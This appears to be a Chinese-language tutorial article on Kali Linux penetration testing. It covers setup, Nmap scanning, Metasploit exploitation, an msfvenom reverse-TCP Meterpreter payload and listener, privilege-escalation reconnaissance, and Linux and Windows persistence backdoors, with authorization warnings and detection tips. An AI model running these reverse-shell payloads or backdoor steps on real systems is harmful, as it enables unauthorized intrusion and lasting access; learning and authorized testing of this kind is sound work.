恒美微站
首页
关于我们
建站服务
主题模板
案例展示
资讯中心
联系我们
Kali Linux渗透测试实战:从初始访问到持久化的完整攻击链
首页
资讯中心
/
Kali Linux渗透测试实战:从初始访问到持久化的完整攻击链
Kali Linux渗透测试实战:从初始访问到持久化的完整攻击链
发布时间:2026/9/7 17:40:05
1. Kali Linux到底是个什么系统很多人第一次听到Kali第一反应是“黑客系统”。这个印象不算错但不准确。Kali Linux本质上是基于Debian的Linux发行版由OffSec团队维护里面预装了超过600款安全测试工具覆盖信息收集、漏洞分析、Web应用测试、密码攻击、无线审计、逆向工程等方向。它的定位是给安全测试人员、渗透测试工程师、红队成员和CTF选手用的专用平台而不是普通日常使用的桌面操作系统。我在刚接触安全的时候对Kali的理解也停留在“装了就完事”的层面拿它跑几个工具就觉得入门了。后来踩了不少坑才明白真正值钱的不是Kali本身而是它承载的那套攻击战术方法论——也就是标题里提到的Initial Access初始访问、Execution执行、Persistence持久化。这三个词不是工具名而是MITRE ATTCK框架里的战术分类简单说就是一场完整模拟攻击中的几个关键阶段。Kali更像一个工具箱而这三个阶段决定了你打开箱子之后该怎么干活。这篇文章适合三类人看第一类是刚接触Kali、想系统了解它怎么用的新手第二类是已经在用Kali但只知道零散命令想建立渗透测试整体思路的人第三类是准备考OSCP或者参加CTF需要理解攻击链各环节的选手。我会把这三个战术阶段结合Kali里的实际工具和操作讲清楚同时把安装配置、踩坑记录、排查思路也一并放进来争取让读者看完就能上手。2. 从零搭建Kali环境安装、换源与基础配置2.1 虚拟机方案与启动方式的选择Kali的安装方式有几种直接在物理机上装、用VMware或VirtualBox跑虚拟机、WSL、Live USB等。我个人的强烈建议是虚拟机尤其是对新手来说。原因很简单安全测试过程中你会接触各种恶意样本、漏洞利用代码、Payload一旦宿主机被干扰或者系统搞坏了虚拟机能随时回滚快照物理机重装成本就太高了。虚拟机软件方面VMware Workstation和VirtualBox都行没有绝对好坏。VMware和Kali的兼容性更好拖拽文件、共享文件夹、USB设备透传都稳定一些VirtualBox胜在免费开源功能也够用。官方其实直接提供了预构建的VMware镜像在Kali官网的Get Kali页面下载解压后直接打开就能用省去了手动安装系统的等待时间新手建议走这条路。如果一定要自己手动安装两个细节需要注意第一ISO文件选择不要下载到一半就装务必校验SHA256第二安装到“Software selection”这一步时建议先只选默认的XFCE桌面环境KDE和GNOME后续想装再装避免装一堆用不到的东西拖慢虚拟机。提示Kali的默认登录账号是kali密码是kali。第一次登录后第一件事就是改密码命令是passwd。2.2 换国内软件源为什么必须做、怎么做Kali默认的软件源服务器在国外如果不做任何调整apt update和apt install的速度会让你怀疑人生。这里必须强调一个误区换源没有问题但换错源会出大问题。Kali的源和Ubuntu不一样它是rolling release滚动发行版用的是自己的Kali专属仓库不能直接抄Ubuntu的清华源、阿里源然后改个名字就往上套。正确的换源方法是编辑/etc/apt/sources.list文件把官方源替换成Kali官方认可的国内镜像。清华源和阿里源都有对应的Kali镜像地址以清华源为例sudo nano /etc/apt/sources.list把里面的内容替换为deb https://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main non-free contrib然后依次执行sudo apt update sudo apt upgrade -y执行完如果能看到正常的索引更新且没有报错说明换源成功。这里补充一个小经验换源之后如果提示“The following signatures couldnt be verified”多半是因为系统时间不准运行ntpdate或timedatectl同步一下就好。Kali里同步时间的典型命令是sudo timedatectl set-ntp true或者手动同步sudo ntpdate ntp.aliyun.com如果ntpdate没安装apt install ntpdate装一下即可。这个坑我在虚拟机休眠恢复之后经常遇到时间一出错HTTPS握手、指纹校验全跟着崩。2.3 中文环境和输入法的配置Kali默认是英文界面很多新手一上来就想设置成中文。系统设置里改语言确实能改但真正麻烦的是中文字体和中输入法。我的建议是界面是否中文其实无所谓但中文输入法建议装好查询资料和写报告的时候会舒服很多。安装中文输入法较为稳定的是安装fcitx5和中文词库sudo apt install fcitx5 fcitx5-chinese-addons安装完成后在终端执行im-config选择fcitx5作为默认输入法框架重启虚拟机后按CtrlSpace切换输入法。需要注意如果只装了fcitx5但系统里没有中文字体输入法面板和候选词会显示成方块。所以先装字体sudo apt install fonts-noto-cjk另外一个小细节Kali桌面里的“桌面”文件夹默认显示英文“Desktop”想改成中文可以通过以下方式xdg-user-dirs-update --set DESKTOP ~/桌面执行完后需要注销再登录才生效。3. 一场模拟攻击的开端Initial Access初始访问3.1 初始访问在攻击链里扮演什么角色Initial Access用大白话说就是“你怎么进入目标网络或系统的”。这是整条攻击链的第一道门也是红队演练里最考验耐心和技术的一环。可以把它理解成你想进一栋楼物理上总得有扇门或窗户能进去——Initial Access干的事情就是侦察哪扇门没锁、哪扇窗能撬开然后实施进入。在MITRE ATTCK框架里Initial Access覆盖的手法非常多漏洞利用公共网络服务、钓鱼附件、水坑攻击、复用有效账号、借助信任关系等等。Kali里对应的工具也极其丰富但这篇文章我不会把每个工具都拉出来刷一遍只挑几个高频且适合新手理解的入手方向端口与服务发现、Web漏洞利用、钓鱼攻击模拟。这里有必要先建立一种正确的思维渗透测试不是“跑个工具就完事”而是分阶段、有目标、有记录的过程。Initial Access做得够不够扎实直接决定后面Execution和Persistence能不能顺利展开。3.2 端口发现与服务指纹识别打开门之前先摸清楚门Kali里做端口扫描最经典的工具是Nmap这个工具几乎人人知道但很多新手只会nmap IP加默认参数跑一遍扫出来一堆端口然后愣住不知道下一步干嘛。正确姿势应该是分步走。第一步先做快速存活主机发现避免对不存在的IP浪费时间nmap -sn 192.168.1.0/24第二步对存活主机做常规端口扫描nmap -sV -O -T4 192.168.1.10-sV是服务版本探测-O是操作系统识别-T4是加速模式。这一步得到的信息非常关键它会告诉你对方跑了什么服务、什么版本比如Apache 2.4.49、OpenSSH 7.9这种。版本号就是后续查找已知漏洞的钥匙。第三步深入扫描指定端口和漏洞探测nmap -sC -sV -p 80,443,8080 192.168.1.10 nmap --script vuln -p 80,443 192.168.1.10-sC运行默认脚本能快速抓取目标服务的基础配置信息--script vuln会调取NSE漏洞脚本库做一轮已知漏洞检查。用Nmap的vuln脚本扫出的结果不一定全但能给你一个低成本、不引流的初步结论。这里有个实操经验我不是很想写但又必须写做端口扫描之前先确认你拿到了目标授权。自己搭的靶场、公司安排的授权测试、CTF比赛环境都可以没有授权的扫描属于违规行为这一点没有任何争议也不存在“只是扫一下没关系”这种说法。3.3 从信息收集到漏洞利用以Metasploit为例的初始访问当Nmap扫出了具体服务的版本信息下一步就是确认这个版本是否存在已知漏洞如果存在就尝试利用漏洞打入目标。这里最有代表性的工具就是Metasploit FrameworkMSF。以一台开着web服务且存在已知命令执行漏洞的靶机为例MSF的完整利用流程是这样的。先启动MSFmsfconsole进入交互界面后检索对应漏洞的利用模块search 漏洞名称或CVE编号找到模块后用use命令切换配合show options查看需要填写的参数然后设置目标地址、载荷等set RHOSTS 目标IP set LHOST 本机IP set LPORT 监听端口 run如果利用成功你会得到Meterpreter会话这个会话就是后续执行阶段的基础。这里要解释一下RHOSTS、LHOST、LPORT的含义因为它们和后面的权限控制息息相关RHOSTS目标主机的IP地址或IP范围LHOST本机监听IP也就是你Kali的IPLPORT本机监听端口用于接收反向连接的Payload为什么用反向连接因为目标主机通常在NAT或防火墙后面主动连你比让你主动连它更容易实现。这也解释了Kali里常说的Reverse Shell和Bind Shell的区别反向连接是目标来连你绑定连接是你去连目标在固定端口上开的Shell。我在练习时经常看到有人卡在“run之后没反应”上排查方向其实就那么几个LHOST是不是写成了局域网外的IP、目标是否真的存在该漏洞、防火墙是否拦截了监听端口。不要一上来就怀疑工具不行。3.4 钓鱼攻击的模拟与防御视角钓鱼攻击也是Initial Access里非常常见的一类手法Kali里有Social-Engineer ToolkitSET这样专门用于钓鱼演练的工具。SET可以克隆网站、构造钓鱼邮件、生成恶意Payload然后利用各种社工手段诱导目标点击。我在这里必须把话说明白这类工具在很多国家和地区属于双用途工具用于自身授权范围内的安全意识培训是合理的但如果用于攻击真实用户这已经超出技术范畴属于违法行为。所以关于钓鱼攻击的实操细节这篇文章不展开我只说防御层面的建议邮件网关开启附件沙箱检测对敏感系统强制启用多因素认证定期做钓鱼邮件演练把“员工识别钓鱼邮件”当成必修课从攻击者的角度看思路再从防守方的角度做应对这才是学习安全测试的正确姿态。每学一个攻击手段都应该同时问自己一句如果是我来防守这个系统我会在哪一环挡住它4. 代码执行的落地点Execution执行阶段4.1 从会话到命令执行Execution到底执行了什么当Initial Access打通之后攻击者已经能在目标系统上运行代码或命令了这个阶段在ATTCK框架里就是Execution。很多新手对这个概念很模糊总觉得拿到Meterpreter就已经“搞定”了其实拿到会话和真正控制目标之间还有一段路要走。Execution战术解决的核心问题是用什么方式让代码在目标机器上跑起来、跑的时候怎么规避检测、跑完怎么把权限扩大或者留下去。它覆盖的手法包括执行命令行命令、通过PowerShell执行脚本、借助计划任务/定时任务触发执行、利用Windows Management Instrumentation做远程命令执行等等。Kali在Execution阶段最常用的工具组合是Metasploit的Meterpreter、MSF Venom生成Payload、以及各类旁路工具。但这些工具只是手段更重要的是理解每种执行方式在什么场景下合适、在什么场景下会暴露。4.2 用MSFVenom生成Payload的实操过程MSFVenom是MSF里专门用来生成Payload的工具它的核心能力是把攻击载荷和目标执行环境打包在一起。我们做一个最典型的方向连接Payload生成示例msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST你的KaliIP LPORT4444 -f exe -o payload.exe这条命令生成的payload.exe会在windows x64系统上运行时主动向你的Kali的4444端口发起反向TCP连接。生成完payload之后需要回到msfconsole里设置监听use exploit/multi/handler set payload windows/x64/meterpreter/reverse_tcp set LHOST 你的KaliIP set LPORT 4444 run这里有一个经常踩的坑LHOST填错了尤其是用云主机或者虚拟机通过端口映射做测试时LHOST应该填目标能访问到的那个IP填成内网IP目标根本连不回来。另外有些Payload生成时体系结构选错了比如生成了x86的Payload丢到x64进程里跑大概率会直接报错退出。所以生成Payload前建议先确认目标环境是32位还是64位。4.3 命令执行之后的降权与提权思路拿到命令执行权限后这个权限不一定是你想要的高度。多数情况下初始漏洞利用获得的权限只是普通用户权限这时候就涉及到提权。提权分为两类第一类是系统内核漏洞提权典型的做法是跑到Linux或Windows下先收集系统版本和内核信息然后搜索已知的提权漏洞利用代码再用Kali里的编译工具编译成可执行文件传过去运行。第二类是第三方软件服务提权比如目标机器上运行着旧版本的某些服务以管理员权限运行但存在配置漏洞通过利用这些服务实现提权。这类提权在真实环境中反而更常见因为系统补丁都打了但业务软件没更新。这里我要分享一条非常有价值的实操经验提权之前一定要做好信息收集。Kali里跑信息收集的命令很多比如Linux环境下查看内核版本用uname -a查看发行版版本用cat /etc/os-release查看环境变量和PATH信息用env和echo $PATH查看已安装软件列表用dpkg -l。只有把目标机器的画像勾勒完整了才能判断提权路径。盲目打内核漏洞利用代码最容易出现的情况是目标直接蓝屏人直接懵在座位上。关于提权工具的编译环境我给新手一个实用建议Kali里默认自带编译工具链gcc、g但还是建议在去目标机器之前先把虚拟机里缺的编译依赖补好因为你在Kali上把利用代码编译成静态二进制传到哪里都能跑就不用在目标机上去装依赖了。静态编译的命令是在编译时加-static参数代价是体积会变大但稳定性会好很多。5. 走了还想留着Persistence持久化控制5.1 为什么持久化是红队演练里的关键能力当你通过Initial Access和Execution拿到目标系统控制权之后这场攻击只成功了一半。真正的考验是你断开了这次会话之后还能不能重新回到目标系统。这就是Persistence持久化战术要解决的问题。我用一个生活化的例子来解释你借了朋友家的钥匙进去取了东西就走事后钥匙还给人家这不算“长期能进”。但如果你偷偷复刻了一把钥匙下次即使对方换了门锁你还有备用方案那就是持久化。在渗透测试里持久化就是攻击者在目标系统上留后门、计划任务、启动项、账号等机制以确保后续可以随时回来。防守方看持久化同样重要。你在做企业安全监控时建立基线也好、做行为检测也好很大一部分工作就是在查这些“复刻钥匙”的痕迹。所以学习Persistence不能只从攻击角度学也要能从防御日志中识别异常。5.2 Linux系统常见的三种持久化手段在Kali的进攻场景中常见的目标环境之一就是Linux服务器。这里我列出三种最常见的持久化手段第一种是创建新用户。这在渗透测试里非常简单粗暴直接在目标机器上添加一个隐藏账号并加入sudo组。常见的命令包括useradd和usermod效果直观但也很容易被日志审计查出来。第二种是修改计划任务crontab。通过crontab -e写入一条周期性执行命令的规则让目标机器每隔几分钟主动向攻击者的服务器发起连接。这种方式的隐蔽性中等但前提是目标机器开启了cron服务。第三种是SSH公钥植入。把自己生成的SSH公钥写入目标机器的authorized_keys文件里之后就可以用私钥直接SSH登录不需要密码。这种方式在拿下Linux服务器后非常实用因为是正常SSH流程流量加密且不产生新进程相对不容易被直观发现。Kali里生成SSH密钥的命令是ssh-keygen -t ed25519 -f kali_persist生成后把kali_persist.pub追加到目标机器的~/.ssh/authorized_keys里本机留着私钥即可。后续登录就直接ssh -i kali_persist user目标IP5.3 Windows环境常见的持久化手段如果目标环境是Windows持久化手段的思路会有些不同更依赖注册表和系统服务。最常见的几种如下注册表自启动项是经典中的经典把后门程序或脚本写入HKCU\Software\Microsoft\Windows\CurrentVersion\Run键值下用户登录时就自动运行。Kali下常用的工具Impacket套件里就包含远程修改注册表的能力用法类似于通过SMB协议操控目标机器。创建Windows计划任务也是常用手段用schtasks命令在目标机器上注册一个周期性任务每五分钟运行一次远程脚本。这种手法在真实网络攻击中很常见因为它能稳定地周期性回连不会像注册表自启动项那样只在登录时执行一次。服务化后门是比较高级的玩法把自己写的程序注册成Windows服务设置成自动启动优点是隐蔽性和稳定性都很好但需要管理员权限而且服务启动失败可能会留下错误日志暴露痕迹。这里我要给一个防守视角的提醒很多持久化技术会留下大量系统日志和文件痕迹。比如注册表自启动项会触发Sysmon的Event ID 13、创建计划任务会触发Event ID 4698、SSH公钥植入会留下SSH日志记录。所以如果你是在做蓝队检测这些日志事件就值得专门建规则去盯如果你是在做红队演练就必须清楚每一步操作会留哪些痕污、要花多大力气去清洗。5.4 红队工具的使用边界与清理思路讨论Persistence这个主题时有必要把边界问题说一下。持久化技术本质上就是后门技术是攻击者长期控制目标的重要手段。在授权范围内的红队演练、渗透测试项目中它用于评估企业的检测能力和应急处置水平这是合理的。但如果脱离了授权范围擅自给他人系统留后门那就是不折不扣的违法行为。所以我在自己的项目里做持久化测试时有两条铁规矩只在自己的靶场实验室或者甲方明确授权的业务范围内操作每次演练结束后把植入的账号、计划任务、启动项全部清理干净交代给防守方清理的思路其实和植入是镜像关系。植入账号就删账号植入计划任务就删计划任务植入SSH公钥就还原authorized_keys文件。如果做的是权限持久化验证还要检查有没有残留的监听端口和进程用netstat -antlp和ps aux逐一对照确认。6. 常见问题与排查技巧实录6.1 安装与系统层面的高频问题结合我自己的使用经历和社区里高频出现的问题这里整理一张速查表问题现象常见原因排查思路apt-get无法定位软件包软件源配置错误或索引未更新检查sources.list是否写对Kali专属源执行apt updateVMware里Kali无法全屏/拖拽文件缺少VMware Tools执行apt install open-vm-tools-desktop后重启虚拟机启动后黑屏无桌面显卡驱动兼容问题尝试切换控制台CtrlAltF2检查桌面服务状态后重启桌面服务系统时间不准虚拟机休眠恢复后时间漂移安装ntpdate后同步时间启用timedatectl set-ntp true中文输入法装完打不出中文输入法框架未激活或缺少中文字体安装fonts-noto-cjkim-config选择fcitx5后注销重登这些问题的共性是和Kali本身的关系不大更多是虚拟化环境或者基础配置没到位。所以排查时不要一上来就重装系统先逐项检查。6.2 网络与工具使用相关的问题在实际跑Initial Access和Execution的时候网络层面的问题更让人头疼。比如在MSF里run之后没有任何回连仔细检查发现是Kali本机的防火墙阻挡了监听端口。Kali默认的iptables规则比较少但某些定制镜像或加固脚本可能自带限制排查时先执行sudo iptables -L -n看到OUTPUT链或INPUT链有DROP规则的话先临时放行再试。另一个高频问题是目标机器能Ping通但你扫不到端口。这通常是目标开启了防火墙默认丢弃了扫描流量。这种情况下Nmap加-Pn参数跳过主机发现直接做端口扫描有时能有意外收获nmap -Pn -sV -p 1-1000 目标IP6.3 靶场搭建经验以DVWA为例练习Kali里的Web渗透能力本地靶场是刚需。DVWA是一个专门用于练习Web安全漏洞的PHP应用非常经典。在Kali里用Docker搭建是最省事的方案。先确保Kali里有Dockersudo apt install docker.io docker-compose -y sudo systemctl enable docker --now然后拉取DVWA镜像并运行sudo docker run --rm -it -p 80:80 vulnerables/web-dvwa镜像启动后浏览器访问http://localhost即可进入DVWA登录界面默认账号admin密码password。这个方案的好处是几分钟搞定而且容器删了重新跑又回到初始状态非常适合反复练习。用Kali自带的工具对这个靶场做一轮测试你会真正理解之前说的Initial Access、Execution是怎么落地的先是用Nmap扫描发现80端口开放接着识别到DVWA的登录页面然后通过SQL注入或文件上传漏洞获取初步执行权限再到尝试写入反弹Shell、维持访问权限。整条链路在一台靶机上就能练通。7. 学习路径与个人体会Kali这个系统内容很庞大初学者很容易被工具清单淹没今天我挑的这三个战术角度——Initial Access、Execution、Persistence不是Kali工具分类的全部却是攻击链最核心的三个节点。理解了这三个节点你就能把Kali里看似零散的工具串成一条线。我个人建议的学习路径是先熟练Kali的基础操作和命令用户管理、软件包管理、网络配置然后用DVWA和Metasploitable这类靶场练Initial Access再学MSF的会话管理来理解Execution最后在自己的虚拟机上做持久化实验来体会Persistence。每一步都要做好笔记因为渗透测试是一个高度依赖经验积累的工作笔记会是你以后最值钱的资产。最后补一个细节Kali本身也在不断更新迭代工具集每年都会增减。不用执着于把每个工具都装一遍、点一遍真正值得花时间的是把一条攻击路径用熟、用精。等你把一条链路从初始访问到持久化完整走过了再去看其它工具会发现它们都是这条链路上的一个环节而已。